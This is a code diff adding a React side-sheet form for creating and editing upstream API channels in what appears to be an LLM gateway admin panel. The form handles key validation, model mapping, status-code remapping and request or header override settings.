+        formApiRef.current?.setValues(getInitValues());
+        try {
+          navigator?.clipboard?.readText()?.then((text) => {
+            const parsed = parseChannelConnectionString(text);
+            if (parsed) {
+              setClipboardConfig(parsed);
+            }
+          }).catch(() => {});
+        } catch {}
+      }
+      fetchModelGroups();
+      // 重置手动输入模式状态
+      setUseManualInput(false);
+      // 编辑模式下恢复用户偏好，创建模式一律折叠
+      setAdvancedSettingsOpen(
+        isEdit && localStorage.getItem(ADVANCED_SETTINGS_EXPANDED_KEY) === 'true'
+      );
+    } else {
+      // 统一的模态框关闭重置逻辑
+      resetModalState();
+    }
+  }, [props.visible, channelId]);
+
+  useEffect(() => {
+    if (!isEdit) {
+      initialModelsRef.current = [];
+      initialModelMappingRef.current = '';
+      initialStatusCodeMappingRef.current = '';
+    }
+  }, [isEdit, props.visible]);
+
+  useEffect(() => {
+    return () => {
+      if (statusCodeRiskConfirmResolverRef.current) {
+        statusCodeRiskConfirmResolverRef.current(false);
+        statusCodeRiskConfirmResolverRef.current = null;
+      }
+    };
+  }, []);
+
+  // 统一的模态框重置函数
+  const resetModalState = () => {
+    resolveStatusCodeRiskConfirm(false);
+    formApiRef.current?.reset();
+    // 重置渠道设置状态
+    setChannelSettings({
+      force_format: false,
+      thinking_to_content: false,
+      proxy: '',
+      pass_through_body_enabled: false,
+      system_prompt: '',
+      system_prompt_override: false,
+    });
+    // 重置密钥模式状态
+    setKeyMode('append');
+    // 重置企业账户状态
+    setIsEnterpriseAccount(false);
+    // 重置豆包隐藏入口状态
+    setDoubaoApiEditUnlocked(false);
+    doubaoApiClickCountRef.current = 0;
+    setModelSearchValue('');
+    // 重置高级设置折叠状态
+    setAdvancedSettingsOpen(false);
+    // 清空表单中的key_mode字段
+    if (formApiRef.current) {
+      formApiRef.current.setValue('key_mode', undefined);
+    }
+    // 重置本地输入，避免下次打开残留上一次的 JSON 字段值
+    setInputs(getInitValues());
+    // 重置密钥显示状态
+    resetKeyDisplayState();
+    // 重置剪贴板检测状态
+    setClipboardConfig(null);
+  };
+
+  const handleVertexUploadChange = ({ fileList }) => {
+    vertexErroredNames.current.clear();
+    (async () => {
+      let validFiles = [];
+      let keys = [];
+      const errorNames = [];
+      for (const item of fileList) {
+        const fileObj = item.fileInstance;
+        if (!fileObj) continue;
+        try {
+          const txt = await fileObj.text();
+          keys.push(JSON.parse(txt));
+          validFiles.push(item);
+        } catch (err) {
+          if (!vertexErroredNames.current.has(item.name)) {
+            errorNames.push(item.name);
+            vertexErroredNames.current.add(item.name);
+          }
+        }
+      }
+
+      // 非批量模式下只保留一个文件（最新选择的），避免重复叠加
+      if (!batch && validFiles.length > 1) {
+        validFiles = [validFiles[validFiles.length - 1]];
+        keys = [keys[keys.length - 1]];
+      }
+
+      setVertexKeys(keys);
+      setVertexFileList(validFiles);
+      if (formApiRef.current) {
+        formApiRef.current.setValue('vertex_files', validFiles);
+      }
+      setInputs((prev) => ({ ...prev, vertex_files: validFiles }));
+
+      if (errorNames.length > 0) {
+        showError(
+          t('以下文件解析失败，已忽略：{{list}}', {
+            list: errorNames.join(', '),
+          }),
+        );
+      }
+    })();
+  };
+
+  const confirmMissingModelMappings = (missingModels) =>
+    new Promise((resolve) => {
+      const modal = Modal.confirm({
+        title: t('模型未加入列表，可能无法调用'),
+        content: (
+          <div className='text-sm leading-6'>
+            <div>
+              {t(
+                '模型重定向里的下列模型尚未添加到“模型”列表，调用时会因为缺少可用模型而失败：',
+              )}
+            </div>
+            <div className='font-mono text-xs break-all text-red-600 mt-1'>
+              {missingModels.join(', ')}
+            </div>
+            <div className='mt-2'>
+              {t(
+                '你可以在“自定义模型名称”处手动添加它们，然后点击填入后再提交，或者直接使用下方操作自动处理。',
+              )}
+            </div>
+          </div>
+        ),
+        centered: true,
+        footer: (
+          <Space align='center' className='w-full justify-end'>
+            <Button
+              type='tertiary'
+              onClick={() => {
+                modal.destroy();
+                resolve('cancel');
+              }}
+            >
+              {t('返回修改')}
+            </Button>
+            <Button
+              type='primary'
+              theme='light'
+              onClick={() => {
+                modal.destroy();
+                resolve('submit');
+              }}
+            >
+              {t('直接提交')}
+            </Button>
+            <Button
+              type='primary'
+              theme='solid'
+              onClick={() => {
+                modal.destroy();
+                resolve('add');
+              }}
+            >
+              {t('添加后提交')}
+            </Button>
+          </Space>
+        ),
+      });
+    });
+
+  const resolveStatusCodeRiskConfirm = (confirmed) => {
+    setStatusCodeRiskConfirmVisible(false);
+    setStatusCodeRiskDetailItems([]);
+    if (statusCodeRiskConfirmResolverRef.current) {
+      statusCodeRiskConfirmResolverRef.current(confirmed);
+      statusCodeRiskConfirmResolverRef.current = null;
+    }
+  };
+
+  const confirmStatusCodeRisk = (detailItems) =>
+    new Promise((resolve) => {
+      statusCodeRiskConfirmResolverRef.current = resolve;
+      setStatusCodeRiskDetailItems(detailItems);
+      setStatusCodeRiskConfirmVisible(true);
+    });
+
+  const hasModelConfigChanged = (normalizedModels, modelMappingStr) => {
+    if (!isEdit) return true;
+    const initialModels = initialModelsRef.current;
+    if (normalizedModels.length !== initialModels.length) {
+      return true;
+    }
+    for (let i = 0; i < normalizedModels.length; i++) {
+      if (normalizedModels[i] !== initialModels[i]) {
+        return true;
+      }
+    }
+    const normalizedMapping = (modelMappingStr || '').trim();
+    const initialMapping = (initialModelMappingRef.current || '').trim();
+    return normalizedMapping !== initialMapping;
+  };
+
+  const submit = async () => {
+    const formValues = formApiRef.current ? formApiRef.current.getValues() : {};
+    let localInputs = { ...formValues };
+    localInputs.param_override = inputs.param_override;
+
+    if (localInputs.type === 57) {
+      if (batch) {
+        showInfo(t('Codex 渠道不支持批量创建'));
+        return;
+      }
+
+      const rawKey = (localInputs.key || '').trim();
+      if (!isEdit && rawKey === '') {
+        showInfo(t('请输入密钥！'));
+        return;
+      }
+
+      if (rawKey !== '') {
+        if (!verifyJSON(rawKey)) {
+          showInfo(t('密钥必须是合法的 JSON 格式！'));
+          return;
+        }
+        try {
+          const parsed = JSON.parse(rawKey);
+          if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+            showInfo(t('密钥必须是 JSON 对象'));
+            return;
+          }
+          const accessToken = String(parsed.access_token || '').trim();
+          const accountId = String(parsed.account_id || '').trim();
+          if (!accessToken) {
+            showInfo(t('密钥 JSON 必须包含 access_token'));
+            return;
+          }
+          if (!accountId) {
+            showInfo(t('密钥 JSON 必须包含 account_id'));
+            return;
+          }
+          localInputs.key = JSON.stringify(parsed);
+        } catch (error) {
+          showInfo(t('密钥必须是合法的 JSON 格式！'));
+          return;
+        }
+      }
+    }
+
+    if (localInputs.type === 41) {
+      const keyType = localInputs.vertex_key_type || 'json';
+      if (keyType === 'api_key') {
+        // 直接作为普通字符串密钥处理
+        if (!isEdit && (!localInputs.key || localInputs.key.trim() === '')) {
+          showInfo(t('请输入密钥！'));
+          return;
+        }
+      } else {
+        // JSON 服务账号密钥
+        if (useManualInput) {
+          if (localInputs.key && localInputs.key.trim() !== '') {
+            try {
+              const parsedKey = JSON.parse(localInputs.key);
+              localInputs.key = JSON.stringify(parsedKey);
+            } catch (err) {
+              showError(t('密钥格式无效，请输入有效的 JSON 格式密钥'));
+              return;
+            }
+          } else if (!isEdit) {
+            showInfo(t('请输入密钥！'));
+            return;
+          }
+        } else {
+          // 文件上传模式
+          let keys = vertexKeys;
+          if (keys.length === 0 && vertexFileList.length > 0) {
+            try {
+              const parsed = await Promise.all(
+                vertexFileList.map(async (item) => {
+                  const fileObj = item.fileInstance;
+                  if (!fileObj) return null;
+                  const txt = await fileObj.text();
+                  return JSON.parse(txt);
+                }),
+              );
+              keys = parsed.filter(Boolean);
+            } catch (err) {
+              showError(t('解析密钥文件失败: {{msg}}', { msg: err.message }));
+              return;
+            }
+          }
+          if (keys.length === 0) {
+            if (!isEdit) {
+              showInfo(t('请上传密钥文件！'));
+              return;
+            } else {
+              delete localInputs.key;
+            }
+          } else {
+            localInputs.key = batch
+              ? JSON.stringify(keys)
+              : JSON.stringify(keys[0]);
+          }
+        }
+      }
+    }
+
+    // 如果是编辑模式且 key 为空字符串，避免提交空值覆盖旧密钥
+    if (isEdit && (!localInputs.key || localInputs.key.trim() === '')) {
+      delete localInputs.key;
+    }
+    delete localInputs.vertex_files;
+
+    if (!isEdit && (!localInputs.name || !localInputs.key)) {
+      showInfo(t('请填写渠道名称和渠道密钥！'));
+      return;
+    }
+    if (!Array.isArray(localInputs.models) || localInputs.models.length === 0) {
+      showInfo(t('请至少选择一个模型！'));
+      return;
+    }
+    if (
+      localInputs.type === 45 &&
+      (!localInputs.base_url || localInputs.base_url.trim() === '')
+    ) {
+      showInfo(t('请输入API地址！'));
+      return;
+    }
+    const hasModelMapping =
+      typeof localInputs.model_mapping === 'string' &&
+      localInputs.model_mapping.trim() !== '';
+    let parsedModelMapping = null;
+    if (hasModelMapping) {
+      if (!verifyJSON(localInputs.model_mapping)) {
+        showInfo(t('模型映射必须是合法的 JSON 格式！'));
+        return;
+      }
+      try {
+        parsedModelMapping = JSON.parse(localInputs.model_mapping);
+      } catch (error) {
+        showInfo(t('模型映射必须是合法的 JSON 格式！'));
+        return;
+      }
+    }
+
+    const normalizedModels = (localInputs.models || [])
+      .map((model) => (model || '').trim())
+      .filter(Boolean);
+    localInputs.models = normalizedModels;
+
+    if (
+      parsedModelMapping &&
+      typeof parsedModelMapping === 'object' &&
+      !Array.isArray(parsedModelMapping)
+    ) {
+      const modelSet = new Set(normalizedModels);
+      const missingModels = Object.keys(parsedModelMapping)
+        .map((key) => (key || '').trim())
+        .filter((key) => key && !modelSet.has(key));
+      const shouldPromptMissing =
+        missingModels.length > 0 &&
+        hasModelConfigChanged(normalizedModels, localInputs.model_mapping);
+      if (shouldPromptMissing) {
+        const confirmAction = await confirmMissingModelMappings(missingModels);
+        if (confirmAction === 'cancel') {
+          return;
+        }
+        if (confirmAction === 'add') {
+          const updatedModels = Array.from(
+            new Set([...normalizedModels, ...missingModels]),
+          );
+          localInputs.models = updatedModels;
+          handleInputChange('models', updatedModels);
+        }
+      }
+    }
+
+    const invalidStatusCodeEntries = collectInvalidStatusCodeEntries(
+      localInputs.status_code_mapping,
+    );
+    if (invalidStatusCodeEntries.length > 0) {
+      showError(
+        `${t('状态码复写包含无效的状态码')}: ${invalidStatusCodeEntries.join(', ')}`,
+      );
+      return;
+    }
+
+    const riskyStatusCodeRedirects = collectNewDisallowedStatusCodeRedirects(
+      initialStatusCodeMappingRef.current,
+      localInputs.status_code_mapping,
+    );
+    if (riskyStatusCodeRedirects.length > 0) {
+      const confirmed = await confirmStatusCodeRisk(riskyStatusCodeRedirects);
+      if (!confirmed) {
+        return;
+      }
+    }
+
+    if (localInputs.base_url && localInputs.base_url.endsWith('/')) {
+      localInputs.base_url = localInputs.base_url.slice(
+        0,
+        localInputs.base_url.length - 1,
+      );
+    }
+    if (localInputs.type === 18 && localInputs.other === '') {
+      localInputs.other = 'v2.1';
+    }
+
+    // 生成渠道额外设置JSON
+    const channelExtraSettings = {
+      force_format: localInputs.force_format || false,
+      thinking_to_content: localInputs.thinking_to_content || false,
+      proxy: localInputs.proxy || '',
+      pass_through_body_enabled: localInputs.pass_through_body_enabled || false,
+      system_prompt: localInputs.system_prompt || '',
+      system_prompt_override: localInputs.system_prompt_override || false,
+    };
+    localInputs.setting = JSON.stringify(channelExtraSettings);
+
+    // 处理 settings 字段（包括企业账户设置和字段透传控制）
+    let settings = {};
+    if (localInputs.settings) {
+      try {
+        settings = JSON.parse(localInputs.settings);
+      } catch (error) {
+        console.error('解析settings失败:', error);
+      }
+    }
+
+    // type === 20: 设置企业账户标识，无论是true还是false都要传到后端
+    if (localInputs.type === 20) {
+      settings.openrouter_enterprise =
+        localInputs.is_enterprise_account === true;
+    }
+
+    // type === 33 (AWS): 保存 aws_key_type 到 settings
+    if (localInputs.type === 33) {
+      settings.aws_key_type = localInputs.aws_key_type || 'ak_sk';
+    }
+
+    // type === 41 (Vertex): 始终保存 vertex_key_type 到 settings，避免编辑时被重置
+    if (localInputs.type === 41) {
+      settings.vertex_key_type = localInputs.vertex_key_type || 'json';
+    } else if ('vertex_key_type' in settings) {
+      delete settings.vertex_key_type;
+    }
+
+    // type === 1 (OpenAI) 或 type === 14 (Claude): 设置字段透传控制（显式保存布尔值）
+    if (localInputs.type === 1 || localInputs.type === 14) {
+      settings.allow_service_tier = localInputs.allow_service_tier === true;
+      // 仅 OpenAI 渠道需要 store / safety_identifier / include_obfuscation
+      if (localInputs.type === 1) {
+        settings.disable_store = localInputs.disable_store === true;
+        settings.allow_safety_identifier =
+          localInputs.allow_safety_identifier === true;
+        settings.allow_include_obfuscation =
+          localInputs.allow_include_obfuscation === true;
+      }
+      if (localInputs.type === 14) {
+        settings.allow_inference_geo = localInputs.allow_inference_geo === true;
+        settings.allow_speed = localInputs.allow_speed === true;
+        settings.claude_beta_query = localInputs.claude_beta_query === true;
+      }
+    }
+
+    settings.upstream_model_update_check_enabled =
+      localInputs.upstream_model_update_check_enabled === true;
+    settings.upstream_model_update_auto_sync_enabled =
+      settings.upstream_model_update_check_enabled &&
+      localInputs.upstream_model_update_auto_sync_enabled === true;
+    settings.upstream_model_update_ignored_models = Array.from(
+      new Set(
+        String(localInputs.upstream_model_update_ignored_models || '')
+          .split(',')
+          .map((model) => model.trim())
+          .filter(Boolean),
+      ),
+    );
+    if (
+      !Array.isArray(settings.upstream_model_update_last_detected_models) ||
+      !settings.upstream_model_update_check_enabled
+    ) {
+      settings.upstream_model_update_last_detected_models = [];
+    }
+    if (typeof settings.upstream_model_update_last_check_time !== 'number') {
+      settings.upstream_model_update_last_check_time = 0;
+    }
+
+    localInputs.settings = JSON.stringify(settings);
+
+    // 清理不需要发送到后端的字段
+    delete localInputs.force_format;
+    delete localInputs.thinking_to_content;
+    delete localInputs.proxy;
+    delete localInputs.pass_through_body_enabled;
+    delete localInputs.system_prompt;
+    delete localInputs.system_prompt_override;
+    delete localInputs.is_enterprise_account;
+    // 顶层的 vertex_key_type 不应发送给后端
+    delete localInputs.vertex_key_type;
+    // 顶层的 aws_key_type 不应发送给后端
+    delete localInputs.aws_key_type;
+    // 清理字段透传控制的临时字段
+    delete localInputs.allow_service_tier;
+    delete localInputs.disable_store;
+    delete localInputs.allow_safety_identifier;
+    delete localInputs.allow_include_obfuscation;
+    delete localInputs.allow_inference_geo;
+    delete localInputs.allow_speed;
+    delete localInputs.claude_beta_query;
+    delete localInputs.upstream_model_update_check_enabled;
+    delete localInputs.upstream_model_update_auto_sync_enabled;
+    delete localInputs.upstream_model_update_last_check_time;
+    delete localInputs.upstream_model_update_last_detected_models;
+    delete localInputs.upstream_model_update_ignored_models;
+
+    let res;
+    localInputs.auto_ban = localInputs.auto_ban ? 1 : 0;
+    localInputs.models = localInputs.models.join(',');
+    localInputs.group = (localInputs.groups || []).join(',');
+
+    let mode = 'single';
+    if (batch) {
+      mode = multiToSingle ? 'multi_to_single' : 'batch';
+    }
+
+    if (isEdit) {
+      res = await API.put(`/api/channel/`, {
+        ...localInputs,
+        id: parseInt(channelId),
+        key_mode: isMultiKeyChannel ? keyMode : undefined, // 只在多key模式下传递
+      });
+    } else {
+      res = await API.post(`/api/channel/`, {
+        mode: mode,
+        multi_key_mode: mode === 'multi_to_single' ? multiKeyMode : undefined,
+        channel: localInputs,
+      });
+    }
+    const { success, message } = res.data;
+    if (success) {
+      if (isEdit) {
+        showSuccess(t('渠道更新成功！'));
+      } else {
+        showSuccess(t('渠道创建成功！'));
+        setInputs(originInputs);
+      }
+      props.refresh();
+      props.handleClose();
+    } else {
+      showError(message);
+    }
+  };
+
+  // 密钥去重函数
+  const deduplicateKeys = () => {
+    const currentKey = formApiRef.current?.getValue('key') || inputs.key || '';
+
+    if (!currentKey.trim()) {
+      showInfo(t('请先输入密钥'));
+      return;
+    }
+
+    // 按行分割密钥
+    const keyLines = currentKey.split('\n');
+    const beforeCount = keyLines.length;
+
+    // 使用哈希表去重，保持原有顺序
+    const keySet = new Set();
+    const deduplicatedKeys = [];
+
+    keyLines.forEach((line) => {
+      const trimmedLine = line.trim();
+      if (trimmedLine && !keySet.has(trimmedLine)) {
+        keySet.add(trimmedLine);
+        deduplicatedKeys.push(trimmedLine);
+      }
+    });
+
+    const afterCount = deduplicatedKeys.length;
+    const deduplicatedKeyText = deduplicatedKeys.join('\n');
+
+    // 更新表单和状态
+    if (formApiRef.current) {
+      formApiRef.current.setValue('key', deduplicatedKeyText);
+    }
+    handleInputChange('key', deduplicatedKeyText);
+
+    // 显示去重结果
+    const message = t(
+      '去重完成：去重前 {{before}} 个密钥，去重后 {{after}} 个密钥',
+      {
+        before: beforeCount,
+        after: afterCount,
+      },
+    );
+
+    if (beforeCount === afterCount) {
+      showInfo(t('未发现重复密钥'));
+    } else {
+      showSuccess(message);
+    }
+  };
+
+  const addCustomModels = () => {
+    if (customModel.trim() === '') return;
+    const modelArray = customModel.split(',').map((model) => model.trim());
+
+    let localModels = [...inputs.models];
+    let localModelOptions = [...modelOptions];
+    const addedModels = [];
+
+    modelArray.forEach((model) => {
+      if (model && !localModels.includes(model)) {
+        localModels.push(model);
+        localModelOptions.push({
+          key: model,
+          label: model,
+          value: model,
+        });
+        addedModels.push(model);
+      }
+    });
+
+    setModelOptions(localModelOptions);
+    setCustomModel('');
+    handleInputChange('models', localModels);
+
+    if (addedModels.length > 0) {
+      showSuccess(
+        t('已新增 {{count}} 个模型：{{list}}', {
+          count: addedModels.length,
+          list: addedModels.join(', '),
+        }),
+      );
+    } else {
+      showInfo(t('未发现新增模型'));
+    }
+  };
+
+  const batchAllowed = (!isEdit || isMultiKeyChannel) && inputs.type !== 57;
+  const batchExtra = batchAllowed ? (
+    <Space>
+      {!isEdit && (
+        <Checkbox
+          disabled={isEdit}
+          checked={batch}
+          onChange={(e) => {
+            const checked = e.target.checked;
+
+            if (!checked && vertexFileList.length > 1) {
+              Modal.confirm({
+                title: t('切换为单密钥模式'),
+                content: t(
+                  '将仅保留第一个密钥文件，其余文件将被移除，是否继续？',
+                ),
+                onOk: () => {
+                  const firstFile = vertexFileList[0];
+                  const firstKey = vertexKeys[0] ? [vertexKeys[0]] : [];
+
+                  setVertexFileList([firstFile]);
+                  setVertexKeys(firstKey);
+
+                  formApiRef.current?.setValue('vertex_files', [firstFile]);
+                  setInputs((prev) => ({ ...prev, vertex_files: [firstFile] }));
+
+                  setBatch(false);
+                  setMultiToSingle(false);
+                  setMultiKeyMode('random');
+                },
+                onCancel: () => {
+                  setBatch(true);
+                },
+                centered: true,
+              });
+              return;
+            }
+
+            setBatch(checked);
+            if (!checked) {
+              setMultiToSingle(false);
+              setMultiKeyMode('random');
+            } else {
+              // 批量模式下禁用手动输入，并清空手动输入的内容
+              setUseManualInput(false);
+              if (inputs.type === 41) {
+                // 清空手动输入的密钥内容
+                if (formApiRef.current) {
+                  formApiRef.current.setValue('key', '');
+                }
+                handleInputChange('key', '');
+              }
+            }
+          }}
+        >
+          {t('批量创建')}
+        </Checkbox>
+      )}
+      {batch && (
+        <>
+          <Checkbox
+            disabled={isEdit}
+            checked={multiToSingle}
+            onChange={() => {
+              setMultiToSingle((prev) => {
+                const nextValue = !prev;
+                setInputs((prevInputs) => {
+                  const newInputs = { ...prevInputs };
+                  if (nextValue) {
+                    newInputs.multi_key_mode = multiKeyMode;
+                  } else {
+                    delete newInputs.multi_key_mode;
+                  }
+                  return newInputs;
+                });
+                return nextValue;
+              });
+            }}
+          >
+            {t('密钥聚合模式')}
+          </Checkbox>
+
+          {inputs.type !== 41 && (
+            <Button
+              size='small'
+              type='tertiary'
+              theme='outline'
+              onClick={deduplicateKeys}
+              style={{ textDecoration: 'underline' }}
+            >
+              {t('密钥去重')}
+            </Button>
+          )}
+        </>
+      )}
+    </Space>
+  ) : null;
+
+  const channelOptionList = useMemo(
+    () =>
+      CHANNEL_OPTIONS.map((opt) => ({
+        ...opt,
+        // 保持 label 为纯文本以支持搜索
+        label: opt.label,
+      })),
+    [],
+  );
+
+  const renderChannelOption = (renderProps) => {
+    const {
+      disabled,
+      selected,
+      label,
+      value,
+      focused,
+      className,
+      style,
+      onMouseEnter,
+      onClick,
+      ...rest
+    } = renderProps;
+
+    const searchWords = channelSearchValue ? [channelSearchValue] : [];
+
+    // 构建样式类名
+    const optionClassName = [
+      'flex items-center gap-3 px-3 py-2 transition-all duration-200 rounded-lg mx-2 my-1',
+      focused && 'bg-blue-50 shadow-sm',
+      selected &&
+        'bg-blue-100 text-blue-700 shadow-lg ring-2 ring-blue-200 ring-opacity-50',
+      disabled && 'opacity-50 cursor-not-allowed',
+      !disabled && 'hover:bg-gray-50 hover:shadow-md cursor-pointer',
+      className,
+    ]
+      .filter(Boolean)
+      .join(' ');
+
+    return (
+      <div
+        style={style}
+        className={optionClassName}
+        onClick={() => !disabled && onClick()}
+        onMouseEnter={(e) => onMouseEnter()}
+      >
+        <div className='flex items-center gap-3 w-full'>
+          <div className='flex-shrink-0 w-5 h-5 flex items-center justify-center'>
+            {getChannelIcon(value)}
+          </div>
+          <div className='flex-1 min-w-0'>
+            <Highlight
+              sourceString={label}
+              searchWords={searchWords}
+              className='text-sm font-medium truncate'
+            />
+          </div>
+          {selected && (
+            <div className='flex-shrink-0 text-blue-600'>
+              <svg
+                width='16'
+                height='16'
+                viewBox='0 0 16 16'
+                fill='currentColor'
+              >
+                <path d='M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z' />
+              </svg>
+            </div>
+          )}
+        </div>
+      </div>
+    );
+  };
+
+  return (
+    <>
+      <SideSheet
+        placement={isEdit ? 'right' : 'left'}
+        title={
+          <div className='flex items-center justify-between w-full'>
+            <Space>
+              <Tag color='blue' shape='circle'>
+                {isEdit ? t('编辑') : t('新建')}
+              </Tag>
+              <Title heading={4} className='m-0'>
+                {isEdit ? t('更新渠道信息') : t('创建新的渠道')}
+              </Title>
+            </Space>
+            {!isEdit && (
+              <Button
+                size='small'
+                type='tertiary'
+                className='ec-dbcd0a3c01b55203 shrink-0'
+                icon={<IconBolt />}
+                onClick={pasteFromClipboard}
+              >
+                {t('从剪贴板粘贴配置')}
+              </Button>
+            )}
+          </div>
+        }
+        bodyStyle={{ padding: '0' }}
+        visible={props.visible}
+        width={isMobile ? '100%' : 600}
+        footer={
+          <div className='flex justify-end items-center gap-2'>
+            <Button
+              theme='solid'
+              onClick={() => formApiRef.current?.submitForm()}
+              icon={<IconSave />}
+            >
+              {t('提交')}
+            </Button>
+            <Button
+              theme='light'
+              type='primary'
+              onClick={handleCancel}
+              icon={<IconClose />}
+            >
+              {t('取消')}
+            </Button>
+          </div>
+        }
+        closeIcon={null}
+        onCancel={() => handleCancel()}
+      >
+        <Form
+          key={isEdit ? 'edit' : 'new'}
+          initValues={originInputs}
+          getFormApi={(api) => (formApiRef.current = api)}
+          onSubmit={submit}
+        >
+          {() => {
+            const advancedSettingsContent = (
+              <div className='space-y-4'>
+                {/* Upstream Model Management Section */}
+                {MODEL_FETCHABLE_CHANNEL_TYPES.has(inputs.type) && (
+                <div className='pb-3 border-b border-gray-100'>
+                  <Text className='text-sm font-medium text-gray-500 mb-3 block'>
+                    {t('上游模型管理')}
+                  </Text>
+
+                  <Form.Switch
+                    field='upstream_model_update_check_enabled'
+                    label={t('是否检测上游模型更新')}
+                    checkedText={t('开')}
+                    uncheckedText={t('关')}
+                    onChange={(value) =>
+                      handleChannelOtherSettingsChange(
+                        'upstream_model_update_check_enabled',
+                        value,
+                      )
+                    }
+                    extraText={t(
+                      '开启后由后端定时任务检测该渠道上游模型变化',
+                    )}
+                  />
+                  <Form.Switch
+                    field='upstream_model_update_auto_sync_enabled'
+                    label={t('是否自动同步上游模型更新')}
+                    checkedText={t('开')}
+                    uncheckedText={t('关')}
+                    disabled={!inputs.upstream_model_update_check_enabled}
+                    onChange={(value) =>
+                      handleChannelOtherSettingsChange('upstream_model_update_auto_sync_enabled', value)
+                    }
+                    extraText={t('开启后检测到新增模型会自动加入当前渠道模型列表')}
+                  />
+                  <Form.Input
+                    field='upstream_model_update_ignored_models'
+                    label={t('已忽略模型')}
+                    placeholder={t(
+                      '例如：gpt-4.1-nano,regex:^claude-.*$,regex:^sora-.*$',
+                    )}
+                    extraText={t(
+                      '支持精确匹配；使用 regex: 开头可按正则匹配。',
+                    )}
+                    onChange={(value) =>
+                      handleInputChange(
+                        'upstream_model_update_ignored_models',
+                        value,
+                      )
+                    }
+                    showClear
+                  />
+                  <div className='text-xs text-gray-500 mb-2'>
+                    {t('上次检测时间')}:&nbsp;
+                    {formatUnixTime(
+                      inputs.upstream_model_update_last_check_time,
+                    )}
+                  </div>
+                  <div className='text-xs text-gray-500 mb-3'>
+                    {t('上次检测到可加入模型')}:&nbsp;
+                    {upstreamDetectedModels.length === 0 ? (
+                      t('暂无')
+                    ) : (
+                      <>
+                        <Tooltip
+                          position='topLeft'
+                          content={
+                            <div className='max-w-[640px] break-all text-xs leading-5'>
+                              {upstreamDetectedModels.join(', ')}
+                            </div>
+                          }
+                        >
+                          <span className='cursor-help break-all'>
+                            {upstreamDetectedModelsPreview.join(', ')}
+                          </span>
+                        </Tooltip>
+                        <span className='ml-1 text-gray-400'>
+                          {upstreamDetectedModelsOmittedCount > 0
+                            ? t('（共 {{total}} 个，省略 {{omit}} 个）', {
+                                total: upstreamDetectedModels.length,
+                                omit: upstreamDetectedModelsOmittedCount,
+                              })
+                            : t('（共 {{total}} 个）', {
+                                total: upstreamDetectedModels.length,
+                              })}
+                        </span>
+                      </>
+                    )}
+                  </div>
+                </div>
+                )}
+
+                {/* Request Config Section */}
+                <div className='py-3 border-b border-gray-100'>
+                  <Text className='text-sm font-medium text-gray-500 mb-3 block'>
+                    {t('请求配置')}
+                  </Text>
+
+                  <div className='mb-4'>
+                    <div className='flex items-center justify-between gap-2 mb-1'>
+                      <Text className='text-sm font-medium'>{t('参数覆盖')}</Text>
+                      <Space>
+                        <Button
+                          size='small'
+                          type='primary'
+                          icon={<IconCode size={14} />}
+                          onClick={() => setParamOverrideEditorVisible(true)}
+                        >
+                          {t('可视化编辑')}
+                        </Button>
+                        <Dropdown
+                          trigger='click'
+                          position='bottomRight'
+                          menu={[
+                            { node: 'item', name: t('填充新模板'), onClick: () => applyParamOverrideTemplate('operations', 'fill') },
+                            { node: 'item', name: t('填充旧模板'), onClick: () => applyParamOverrideTemplate('legacy', 'fill') },
+                            { node: 'item', name: t('清空'), onClick: clearParamOverride },
+                          ]}
+                        >
+                          <Button size='small' type='tertiary'>
+                            {t('更多')} <IconChevronDown size={12} />
+                          </Button>
+                        </Dropdown>
+                      </Space>
+                    </div>
+                    <Text type='tertiary' size='small'>
+                      {t('此项可选，用于覆盖请求参数。不支持覆盖 stream 参数')}
+                    </Text>
+                    <div
+                      className='mt-2 rounded-xl p-3'
+                      style={{
+                        backgroundColor: 'var(--semi-color-fill-0)',
+                        border: '1px solid var(--semi-color-fill-2)',
+                      }}
+                    >
+                      <div className='flex items-center justify-between mb-2'>
+                        <Tag color={paramOverrideMeta.tagColor}>
+                          {paramOverrideMeta.tagLabel}
+                        </Tag>
+                        <Button
+                          size='small'
+                          icon={<IconCopy />}
+                          type='tertiary'
+                          onClick={copyParamOverrideJson}
+                        >
+                          {t('复制')}
+                        </Button>
+                      </div>
+                      <pre className='mb-0 text-xs leading-5 whitespace-pre-wrap break-all max-h-56 overflow-auto'>
+                        {paramOverrideMeta.preview}
+                      </pre>
+                    </div>
+                  </div>
+
+                  <Form.TextArea
+                    field='header_override'
+                    label={t('请求头覆盖')}
+                    placeholder={
+                      t('此项可选，用于覆盖请求头参数') +
+                      '\n' +
+                      t('格式示例：') +
+                      '\n{\n  "User-Agent": "Mozilla/5.0 ...",\n  "Authorization": "Bearer {api_key}"\n}'
+                    }
+                    autosize
+                    onChange={(value) =>
+                      handleInputChange('header_override', value)
+                    }
+                    extraText={
+                      <div className='flex flex-col gap-1'>
+                        <div className='flex gap-2 flex-wrap items-center'>
+                          <Text
+                            className='!text-semi-color-primary cursor-pointer'
+                            onClick={() =>
+                              handleInputChange(
+                                'header_override',
+                                JSON.stringify({ '*': true, 're:^X-Trace-.*$': true, 'X-Foo': '{client_header:X-Foo}', Authorization: 'Bearer {api_key}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0' }, null, 2),
+                              )
+                            }
+                          >
+                            {t('填入模板')}
+                          </Text>
+                          <Text
+                            className='!text-semi-color-primary cursor-pointer'
+                            onClick={() =>
+                              handleInputChange('header_override', JSON.stringify({ '*': true }, null, 2))
+                            }
+                          >
+                            {t('填入透传模版')}
+                          </Text>
+                          <Text
+                            className='!text-semi-color-primary cursor-pointer'
+                            onClick={() => formatJsonField('header_override')}
+                          >
+                            {t('格式化')}
+                          </Text>
+                        </div>
+                        <div>
+                          <Text type='tertiary' size='small'>
+                            {t('支持变量：')}
+                          </Text>
+                          <div className='text-xs text-tertiary ml-2'>
+                            <div>
+                              {t('渠道密钥')}: {'{api_key}'}
+                            </div>
+                          </div>
+                        </div>
+                      </div>
+                    }
+                    showClear
+                  />
+                  <JSONEditor
+                    key={`status_code_mapping-${isEdit ? channelId : 'new'}`}
+                    field='status_code_mapping'
+                    label={t('状态码复写')}
+                    placeholder={
+                      t('此项可选，用于复写返回的状态码，仅影响本地判断，不修改返回到上游的状态码，比如将claude渠道的400错误复写为500（用于重试），请勿滥用该功能，例如：') +
+                      '\n' +
+                      JSON.stringify(STATUS_CODE_MAPPING_EXAMPLE, null, 2)
+                    }
